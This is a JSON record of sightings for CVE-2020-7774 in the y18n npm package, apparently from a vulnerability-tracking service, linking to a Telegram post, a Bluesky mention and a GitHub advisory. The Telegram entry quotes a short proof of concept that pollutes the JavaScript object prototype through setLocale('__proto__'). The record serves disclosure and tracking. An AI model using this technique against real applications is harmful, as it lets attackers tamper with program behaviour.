{"vulnerability": "CVE-2020-7774", "sightings": [{"uuid": "2a80aa1f-0099-46c6-ac6e-5b1971a8672e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2020-7774", "type": "published-proof-of-concept", "source": "https://t.me/cibsecurity/16436", "content": "\u203c CVE-2020-7774 \u203c\n\nThis affects the package y18n before 5.0.5. PoC by po6ix: const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-11-17T16:39:02.000000Z"}, {"uuid": "1db52de1-a267-4583-82ca-93ef7ce11970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2020-7774", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mum6vqglbu2b", "content": "", "creation_timestamp": "2026-09-03T10:00:07.533701Z"}, {"uuid": "e4e8d39b-6975-4ac4-b247-db8eec2fa3ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2020-7774", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-c4w7-xm78-47vh", "content": "", "creation_timestamp": "2021-03-29T16:05:12.000000Z"}]}